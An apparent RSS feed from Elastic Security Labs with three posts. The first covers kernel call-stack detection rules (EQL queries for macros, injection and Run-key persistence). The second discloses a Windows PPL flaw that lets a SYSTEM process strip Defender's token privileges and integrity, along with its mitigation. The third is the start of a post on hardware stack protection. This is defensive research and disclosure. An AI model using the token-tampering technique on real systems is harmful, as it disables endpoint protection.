<p>Elastic Security for endpoint, with its roots in Endgame, has long led the industry for in-memory threat detection. We <a href="https://www.elastic.co/jp/security-labs/hunting-memory">pioneered</a> and patented many detection technologies such as kernel <a href="https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/20170329973">thread start</a> preventions, call stack <a href="https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151247">anomaly hunting</a>, and <a href="https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151251">module stomping</a> discovery. However, adversaries continue to innovate and evade detections. For example, in response to our improved <a href="https://www.elastic.co/jp/blog/detecting-cobalt-strike-with-memory-signatures">memory signature</a> protection, adversaries developed a flurry of new <a href="https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/">sleep based</a> evasions. We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.</p>
<p>Before we get started, it's important to know what call stacks are and why they’re valuable for detection engineering. A <a href="https://en.wikipedia.org/wiki/Call_stack">call stack</a> is the ordered sequence of functions that are executed to achieve a behavior of a program. It shows in detail which functions (and their associated modules) were executed to lead to a behavior like a new file or process being created. Knowing a behavior’s call stack, we can build detections with detailed contextual information about what a program is doing and how it’s doing it.</p>
<h2>Deep Visibility</h2>
<p>The new call stack based detection capability leverages our existing deep in-line kernel visibility for the most common system behaviors (process, file, registry, library, etc). With each event, we capture the call stack for the activity. This is later enriched with module information, symbols, and evidence of suspicious activity. This gives us <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">procmon</a>-like visibility in real-time, powering advanced preventions for in-memory tradecraft.</p>
<p>Process creation call stack fields : <img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image12.jpg" alt="" /></p>
<p>File, registry and library call stack fields: <img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image8.jpg" alt="" /></p>
<h2>New Rules</h2>
<p>Additional visibility wouldn’t raise the bar unless we could pair it with tuned, high confidence preventions. In 8.8, behavior protection comes out of the box with 30+ rules to provide us with high efficacy against cutting edge attacker techniques such as: - Direct syscalls - Callback-based evasion - Module Stomping - Library loading from unbacked region - Process created from unbacked region - Many more</p>
<p>Call stacks are a powerful data source that can be used to improve protection against non-memory-based threats as well. For example, the following EQL queries look for the creation of a child process or an executable file extension from an Office process with a call stack containing <code>VBE7.dll</code> (a strong sign of the presence of a macro-enabled document). This increases the signal and coverage of the rule logic while reducing the necessary tuning efforts compared to just process or file creation events with no call stack information:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image29.jpg" alt="" /></p>
<p>Below are some examples of matches where Macro-enabled malicious Excel and Word documents spawning a child process where the call stack refers to <code>vbe7.dll</code> :</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image9.jpg" alt="" /></p>
<p>Here, we can see a malicious XLL file opened via Excel spawning a legitimate <code>browser\_broker.exe</code> to inject into. The parent call stack indicates that the process creation call is coming from the <code>[xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen)</code> function:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image11.jpg" alt="" /></p>
<p>The same enrichment is also valuable in library load and registry events. Below is an example of loading the Microsoft Common Language Runtime <code>CLR.DLL</code> module from a suspicious call stack (unbacked memory region with RWX permissions) using the <a href="https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools">Sliver execute-assembly</a> command to load external .NET assemblies:</p>
<pre><code>library where dll.name : &quot;clr.dll&quot; and
process.thread.Ext.call_stack_summary : &quot;*mscoreei.dll|Unbacked*&quot;
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image4.jpg" alt="" /></p>
<p>Hunting for suspicious modification of certain registry keys such as the Run key for persistence tends to be noisy and very common in legit software but if we add the call stack signal to the logic, the suspicion level is significantly increased :</p>
<pre><code>registry where 
 registry.path : &quot;H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*&quot;
// the creating thread's stack contains frames pointing outside any known executable image
 and process.thread.Ext.call_stack_contains_unbacked == true
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image2.jpg" alt="" /></p>
<p>Another “fun” example is the use of the call stack information to detect rogue instances of core system processes that normally have very specific functionality. By signaturing their normal call stacks, we can easily identify outliers. For example, <code>WerFault.exe</code> and <code>wermgr.exe</code> are among the most attractive targets for masquerading:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image30.jpg" alt="" /></p>
<p>Examples of matches:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image9.jpg" alt="" /></p>
<p>Apart from the use of call stack data for finding suspicious behaviors, it’s also useful when it comes to excluding false positives from behavior detections in a more granular way. This also helps reduce evasion opportunities.</p>
<p>A good example is a detection rule looking for unusual Microsoft Office child processes. This rule is used to <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_microsoft_office_fetching_remote_content.toml#L26">exclude</a> <code>splwow64.exe</code> , which can be legitimately spawned by printing activity. Excluding it by <code>process.executable</code> creates an evasion opportunity via process hollowing or injection, which can make the process tree look normal. We can now mitigate this evasion by requiring such process creations to come from <code>winspool.drv!OpenPrinter</code> :</p>
<pre><code>process where event.action == &quot;start&quot; and
  process.parent.name : (&quot;WINWORD.EXE&quot;, &quot;EXCEL.EXE&quot;, &quot;POWERPNT.EXE&quot;, &quot;MSACCESS.EXE&quot;, &quot;mspub.exe&quot;, &quot;fltldr.exe&quot;, &quot;visio.exe&quot;) and
// excluding splwow64.exe only if it’s parent callstack is coming from winspool.drv module  
not (process.executable : &quot;?:\\Windows\\splwow64.exe&quot; and``_arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: (&quot;?:\\Windows\\System32\\winspool.drv!OpenPrinter*&quot;, &quot;?:\\Windows\\SysWOW64\\winspool.drv!OpenPrinter*&quot;)))
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image3.jpg" alt="" /></p>
<p>To reduce event volumes, call stack information is collected on the endpoint and processed for detections but not always streamed in events. To always include call stacks in streamed events an advanced option is available in Endpoint policy:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image7.jpg" alt="" /></p>
<h2>C2 Coverage</h2>
<p>Elastic Endpoint makes quick work detecting some of the top C2 frameworks active today. See below for a screenshot detecting Nighthawk, BruteRatel, CobaltStrike, and ATP41’s <a href="https://www.trendmicro.com/vinfo/gb/security/news/cybercrime-and-digital-threats/earth-baku-returns">StealthVector</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image5.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image10.jpg" alt="" /></p>
<h2>Conclusion</h2>
<p>While this capability gives us a lead over the cutting edge of in-memory tradecraft today, attackers will no doubt develop <a href="https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs">new innovations</a> in attempts to evade it. That’s why we are already hard at work to deliver the next set of leading in-memory detections. Stay tuned!</p>
<h2>Resources</h2>
<p>Rules released with 8.8:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_execution_from_a_macro_enabled_office_document.toml">Execution from a Macro Enabled Office Document</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_macro_execution_via_windows_scripts.toml">Suspicious Macro Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_file_dropped_by_a_macro_enabled_document.toml">Suspicious File Dropped by a Macro Enabled Document</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_shortcut_file_modification_via_macro_enabled_document.toml">Shortcut File Modification via Macro Enabled Document</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_dll_loaded_from_a_macro_enabled_document.toml">DLL Loaded from a Macro Enabled Document</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_process_creation_via_microsoft_office_add_ins.toml">Process Creation via Microsoft Office Add-Ins</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_registry_or_file_modification_from_suspicious_memory.toml">Registry or File Modification from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_ntdll_memory_unhooking.toml">Potential NTDLL Memory Unhooking</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_microsoft_common_language_runtime_loaded_from_suspicious_memory.toml">Microsoft Common Language Runtime Loaded from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_common_language_runtime_loaded_via_an_unsigned_module.toml">Common Language Runtime Loaded via an Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml">Potential Masquerading as Windows Error Manager</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_image_load_via_ldrloaddll.toml">Suspicious Image Load via LdrLoadDLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_library_loaded_via_a_callback_function.toml">Library Loaded via a CallBack Function</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_modified_ntdll.toml">Process Creation from Modified NTDLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_dll_side_loading_via_a_copied_microsoft_executable.toml">DLL Side Loading via a Copied Microsoft Executable</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_the_console_window_class.toml">Potential Injection via the Console Window Class</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_unsigned_dll_loaded_by_a_trusted_process.toml">Suspicious Unsigned DLL Loaded by a Trusted Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_stared_via_remote_thread.toml">Process Started via Remote Thread</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_dotnet_debugging.toml">Potential Injection via DotNET Debugging</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_shellcode.toml">Potential Process Creation via ShellCode</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_module_stomping_form_a_copied_library.toml">Module Stomping form a Copied Library</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_a_stomped_module.toml">Process Creation from a Stomped Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parallel_ntdll_loaded_from_unbacked_memory.toml">Parallel NTDLL Loaded from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml">Potential Operation via Direct Syscall</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_direct_syscall.toml">Potential Process Creation via Direct Syscall</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_from_archive_or_removable_media_via_unbacked_code.toml">Process from Archive or Removable Media via Unbacked Code</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_console_execution_from_unbacked_memory.toml">Windows Console Execution from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_unbacked_memory_via_unsigned_parent.toml">Process Creation from Unbacked Memory via Unsigned Parent</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/blog-thumb-coin-stacks.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Sandboxing Antimalware Products for Fun and Profit]]></title>
            <link>https://www.elastic.co/jp/security-labs/sandboxing-antimalware-products</link>
            <guid>sandboxing-antimalware-products</guid>
            <pubDate>Tue, 21 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This article demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack.]]></description>
            <content:encoded><![CDATA[<p>This article demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack. This is of particular interest because we build and maintain two anti-malware products that benefit from this protection.</p>
<h2>Protected Anti-Malware Services</h2>
<p>Windows 8.1 <a href="https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">introduced</a> a concept of Protected Antimalware Services. This enables specially-signed programs to run such that they are immune from tampering and termination, even by administrative users. Microsoft’s documentation (<a href="https://web.archive.org/web/20211019010629/https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">archived</a>) describes this as:</p>
<blockquote>
<p>In Windows 8.1, a new concept of protected service has been introduced to allow anti-malware user-mode services to be launched as a protected service. After the service is launched as protected, Windows uses code integrity to only allow trusted code to load into the protected service. Windows also protects these processes from code injection and other attacks from admin processes.</p>
</blockquote>
<p>The goal is to prevent malware from instantly disabling your antivirus and then running amok. For the rest of this article, we call them Protected Process Light (PPL). For more depth, <a href="https://twitter.com/aionescu">Alex Ionescu</a> goes into great detail on protected processes in his <a href="https://www.youtube.com/watch?v=35L_qJNMu1A">talk at NoSuchCon 2014</a>.</p>
<p>To be able to run as a PPL, an anti-malware vendor must apply to Microsoft, prove their identity, sign binding legal documents, implement an <a href="https://docs.microsoft.com/en-us/windows/win32/w8cookbook/secured-boot">Early Launch Anti-Malware</a> (ELAM) driver, run it through a test suite, and submit it to Microsoft for a special Authenticode signature. It is not a trivial process. Once this process is complete, the vendor can <a href="https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-installelamcertificateinfo">use this ELAM driver</a> to have Windows protect their anti-malware service by running it as a PPL.</p>
<p>You can see PPL in action yourself by running the following from an elevated administrative command prompt on a default Windows 10 install:</p>
<p><strong>Protected Process Light in Action</strong></p>
<pre><code>C:\WINDOWS\system32&gt;whoami
nt authority\system

C:\WINDOWS\system32&gt;whoami /priv | findstr &quot;Debug&quot;
SeDebugPrivilege                Debug programs                    Enabled

C:\WINDOWS\system32&gt;taskkill /f /im MsMpEng.exe
ERROR: The process &quot;MsMpEng.exe&quot; with PID 2236 could not be terminated.
Reason: Access is denied.

</code></pre>
<p>As you can see here, even a user running as SYSTEM (or an elevated administrator) with <a href="https://devblogs.microsoft.com/oldnewthing/20080314-00/?p=23113">SeDebugPrivilege</a> cannot terminate the PPL Windows Defender anti-malware Service (MsMpEng.exe). This is because non-PPL processes like taskkill.exe cannot obtain handles with the PROCESS_TERMINATE access right to PPL processes using APIs such as <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a>.</p>
<p>In summary, Windows attempts to protect PPL processes from non-PPL processes, even those with administrative rights. This is both documented and implemented. That being said, with PROCESS_TERMINATE blocked, let’s see if there are other ways we can interfere with it instead.</p>
<h2>Windows Tokens</h2>
<p>A Windows token can be thought of as a security credential. It says who you are and what you’re allowed to do. Typically when a user runs a process, that process runs with their token and can do anything the user can do. Some of the most important data within a token include:</p>
<ul>
<li>User identity</li>
<li>Group membership (e.g. Administrators)</li>
<li>Privileges (e.g. SeDebugPrivilege)</li>
<li>Integrity level</li>
</ul>
<p>Tokens are a critical part of Windows authorization. Any time a Windows thread accesses a <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects">securable object</a>, the OS performs a security check. It compares the thread’s effective token against the <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptors">security descriptor</a> of the object being accessed. You can read more about tokens in the Microsoft <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens">access token documentation</a> and the Elastic blog post that <a href="https://www.elastic.co/jp/blog/introduction-to-windows-tokens-for-security-practitioners">introduces Windows tokens</a>.</p>
<h3>Sandboxing Tokens</h3>
<p>Some applications, such as web browsers, have been repeated targets of exploitation. Once an attacker successfully exploits a browser process, the exploit payload can perform any action that the browser process can perform. This is because it shares the browser’s token.</p>
<p>To mitigate the damage from such attacks, web browsers have moved much of their code into lower-privilege worker processes. This is typically done by creating a restricted security context called a sandbox. When a sandboxed worker needs to perform a privileged action on the system, such as saving a downloaded file, it can ask a non-sandboxed “broker” process to perform the action on its behalf. If the sandboxed process is exploited, the goal is to limit the payload’s ability to cause harm to only resources accessible by the sandbox.</p>
<p>While modern sandboxing involves several components of OS security, one of the most important is a low-privilege, or restricted, token. New sandbox tokens can be created with APIs such as</p>
<p><a href="https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-createrestrictedtoken">CreateRestrictedToken</a>
. Sometimes a sandboxed process needs to lock itself down after performing some initialization. The
<a href="https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges">AdjustTokenPrivileges</a>
and
<a href="https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokengroups">AdjustTokenGroups</a>
APIs allow this adjustment. These APIs enable privileges and groups to be “forfeit” from an existing process’s token in such a way that they cannot be restored without creating a new token outside the sandbox.</p>
<p>One <a href="https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md">commonly used sandbox</a> today is part of Google Chrome. Even some <a href="https://www.microsoft.com/security/blog/2018/10/26/windows-defender-antivirus-can-now-run-in-a-sandbox/">security products</a> are getting into sandboxing these days.</p>
<h3>Accessing Tokens</h3>
<p>Windows provides the <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken">OpenProcessToken</a>API to enable interaction with process tokens. MSDN states that one must have the PROCESS_QUERY_INFORMATION right to use OpenProcessToken. Since a non-protected process can only get PROCESS_QUERY_LIMITED_INFORMATION access to a PPL process (note the LIMITED), it is seemingly impossible to get a handle to a PPL process’s token. However, MSDN is incorrect in this case. With only PROCESS_QUERY_LIMITED_INFORMATION, we can successfully open the token of a protected process. <a href="https://twitter.com/tiraniddo">James Forshaw</a>explains this documentation discrepancy in more depth, showing the underlying</p>
<p><a href="https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html">de-compiled kernel code</a>.</p>
<p>Tokens are themselves securable objects. As such, regular access checks still apply. The effective token of the thread attempting to access the token is checked against the security descriptor of the token being accessed for the requested access rights (TOKEN_QUERY, TOKEN_WRITE, TOKEN_IMPERSONATE, etc). For more detail about access checks, see the Microsoft article, “<a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/how-dacls-control-access-to-an-object">How Access Checks Work</a>.”</p>
<h2>The Attack</h2>
<p><a href="https://github.com/processhacker/processhacker/releases/tag/v2.39">Process Hacker</a> provides a nice visualization of token security descriptors. Taking a look at Windows Defender’s (MsMpEng.exe) token, we see the following Discretionary Access Control List (DACL):</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/sandboxing-antimalware-products/advanced-security-settings.jpg" alt="" /></p>
<p>Note that the SYSTEM user has full control over the token. This means, unless some other mechanism is protecting the token, a thread <a href="https://powersploit.readthedocs.io/en/latest/Privesc/Get-System/">running as SYSTEM</a> can modify the token. When such modification is possible, it violates the desired “PPL is protected from administrators” design goal.</p>
<h3>Demo</h3>
<p>Alas, there is no other mechanism protecting the token. Using this technique, an attacker can forcefully remove all privileges from the MsMpEng.exe token and reduce it from <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control">system to untrusted integrity</a>. Being nerfed to untrusted integrity prevents the victim process from accessing most securable resources on the system, quietly incapacitating the process without terminating it.</p>
&lt;Video vidyard_uuid=&quot;wSgaLpcXyZLupdiwg6BNyj&quot; /&gt;
<p>In this video, the attacker could have further restricted the token, but the privilege and integrity changes were sufficient to prevent MsMpEng.exe from detecting and blocking a Mimikatz execution. We felt this illustrated a valid proof of concept.</p>
<h2>Defense</h2>
<p>Newer versions of Windows include an undocumented feature called “trust labels.” Trust labels are part of the <a href="https://docs.microsoft.com/en-us/windows/win32/ad/retrieving-an-objectampaposs-sacl">System Access Control List</a> (SACL), an optional component of every security descriptor. Trust labels allow Windows to restrict specific access rights to certain types of protected processes. For example, Windows <a href="https://www.elastic.co/jp/blog/protecting-windows-protected-processes">protects</a> the \KnownDlls object directory from <a href="https://www.elastic.co/jp/blog/detect-block-unknown-knowndlls-windows-acl-hardening-attacks-cache-poisoning-escalation">modification by malicious administrators</a> using a trust label. We can see this with <a href="https://github.com/hfiref0x/WinObjEx64">WinObjEx64</a>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/sandboxing-antimalware-products/KnownDlls-Trust-Label.jpg" alt="" /></p>
<p>Like \KnownDlls, tokens are securable objects, and thus it is possible to protect them against modification by malicious administrators. Elastic Security does this, in fact, and is immune to this attack, by denying TOKEN_WRITE access to processes with a trust label below “Anti-Malware Light.” Because this protection is applied at runtime, however, there is still a brief window of vulnerability until it can apply the trust label.</p>
<p>Ideally, Windows would apply such a trust label to each PPL process’s token as it is created. This would eliminate the race condition and fix the vulnerability in the PPL mechanism. There is precedent. With a kernel debugger, we can see that Windows is already protecting the System process’ token on Windows (21H1 shown below) with a trust label:</p>
<pre><code>1: kd&gt; dx -r1 (((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]-&gt;KernelObject-&gt;Token-&gt;Object - sizeof(nt!_OBJECT_HEADER))  &amp; ~0xf))-&gt;SecurityDescriptor &amp; ~0xf)
(((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]-&gt;KernelObject-&gt;Token-&gt;Object - sizeof(nt!_OBJECT_HEADER))  &amp; ~0xf))-&gt;SecurityDescriptor &amp; ~0xf) : 0xffffe00649c46c20
1: kd&gt; !sd 0xffffe00649c46c20
-&gt;Revision: 0x1
-&gt;Sbz1    : 0x0
-&gt;Control : 0x8814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
-&gt;Owner   : S-1-5-32-544
-&gt;Group   : S-1-5-32-544
-&gt;Dacl    :
-&gt;Dacl    : -&gt;AclRevision: 0x2
-&gt;Dacl    : -&gt;Sbz1       : 0x0
-&gt;Dacl    : -&gt;AclSize    : 0x1c
-&gt;Dacl    : -&gt;AceCount   : 0x1
-&gt;Dacl    : -&gt;Sbz2       : 0x0
-&gt;Dacl    : -&gt;Ace[0]: -&gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&gt;Dacl    : -&gt;Ace[0]: -&gt;AceFlags: 0x0
-&gt;Dacl    : -&gt;Ace[0]: -&gt;AceSize: 0x14
-&gt;Dacl    : -&gt;Ace[0]: -&gt;Mask : 0x000f01ff
-&gt;Dacl    : -&gt;Ace[0]: -&gt;SID: S-1-5-18

-&gt;Sacl    :
-&gt;Sacl    : -&gt;AclRevision: 0x2
-&gt;Sacl    : -&gt;Sbz1       : 0x0
-&gt;Sacl    : -&gt;AclSize    : 0x34
-&gt;Sacl    : -&gt;AceCount   : 0x2
-&gt;Sacl    : -&gt;Sbz2       : 0x0
-&gt;Sacl    : -&gt;Ace[0]: -&gt;AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
-&gt;Sacl    : -&gt;Ace[0]: -&gt;AceFlags: 0x0
-&gt;Sacl    : -&gt;Ace[0]: -&gt;AceSize: 0x14
-&gt;Sacl    : -&gt;Ace[0]: -&gt;Mask : 0x00000001
-&gt;Sacl    : -&gt;Ace[0]: -&gt;SID: S-1-16-16384

-&gt;Sacl    : -&gt;Ace[1]: -&gt;AceType: SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE
-&gt;Sacl    : -&gt;Ace[1]: -&gt;AceFlags: 0x0
-&gt;Sacl    : -&gt;Ace[1]: -&gt;AceSize: 0x18
-&gt;Sacl    : -&gt;Ace[1]: -&gt;Mask : 0x00020018
-&gt;Sacl    : -&gt;Ace[1]: -&gt;SID: S-1-19-1024-8192

</code></pre>
<p>The SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE access control entry limits access to READ_CONTROL, TOKEN_QUERY, and TOKEN_QUERY_SOURCE (0x00020018) unless the caller is a WinTcb protected process (SID S-1-19-1024-8192). That SID can be interpreted as follows:</p>
<ul>
<li>1: <a href="https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L1794">Revision 1</a></li>
<li>19: <a href="https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2097">SECURITY_PROCESS_TRUST_AUTHORITY</a></li>
<li>1024:
<a href="https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2100">SECURITY_PROCESS_PROTECTION_TYPE_FULL_RID</a></li>
<li>8192:
<a href="https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2104">SECURITY_PROCESS_PROTECTION_LEVEL_WINTCB_RID</a></li>
</ul>
<h3>Mitigation</h3>
<p>Alongside this article, we are releasing an update to the <a href="https://github.com/elastic/PPLGuard">PPLGuard</a> proof-of-concept that protects all running anti-malware PPL processes against this attack. It includes example code that anti-malware products can employ to protect themselves. Here it is in action, protecting Defender:</p>
&lt;Video vidyard_uuid=&quot;zuKPeTwxbRaGAPL8BsrMKA&quot; /&gt;
<h2>Disclosure</h2>
<p>We disclosed this vulnerability and proposed fixes to the <a href="https://www.microsoft.com/en-us/msrc?rtc=1">Microsoft Security Response Center</a> (MSRC) on 2022-01-05. They responded on 2022-01-24 that they have classified it as moderate severity, and will not address it with a security update. However, they may address it in a future version of Windows.</p>
<h2>Conclusion</h2>
<p>In this article, we disclosed a flaw in the Windows Protected Process Light (PPL) mechanism. We then demonstrated how malware can use this flaw to neutralize PPL anti-malware products. Finally, we showed a simple ACL fix (with sample code) that anti-malware products can employ to defend against this attack. Elastic Security already incorporates this fix, but we hope that Windows implements it (or something equivalent) by default in the near future.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/sandboxing-antimalware-products/blog-thumb-tools-various.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Finding Truth in the Shadows]]></title>
            <link>https://www.elastic.co/jp/security-labs/finding-truth-in-the-shadows</link>
            <guid>finding-truth-in-the-shadows</guid>
            <pubDate>Thu, 26 Jan 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Let's discuss three benefits that Hardware Stack Protections brings beyond the intended exploit mitigation capability, and explain some limitations.]]></description>
            <content:encoded><![CDATA[<p>Microsoft has begun rolling out user-mode <a href="https://techcommunity.microsoft.com/t5/windows-kernel-internals-blog/understanding-hardware-enforced-stack-protection/ba-p/1247815">Hardware Stack Protection</a> (HSP) starting in Windows 10 20H1. HSP is an exploit mitigation technology that prevents corruption of return addresses on the stack, a common component of <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">code reuse attacks</a> for software exploitation. Backed by silicon, HSP uses Intel's Control flow Enforcement Technology (CET) and AMD's Shadow Stack, combined with software support <a href="https://windows-internals.com/cet-on-windows/">described in great detail</a> by Yarden Shafir and Alex Ionescu. Note that the terms HSP and CET are often used interchangeably.</p>
<p>HSP creates a shadow stack, separate from the regular stack. It is read-only in user mode, and consists exclusively of return addresses. Contrast this with the regular stack, which interleaves data with return addresses, and must be writable for applications to function correctly. Whenever a CALL instruction executes, the current instruction pointer (aka return address) is pushed onto both the regular and shadow stacks. Conversely, RET instructions pop the return address from both stacks, generating an exception if they mismatch. In theory, ROP attacks are mitigated because attackers can't write arbitrary values to the read-only shadow stack, and changing the Shadow Stack Pointer (SSP) is a privileged operation, making pivots impossible.</p>
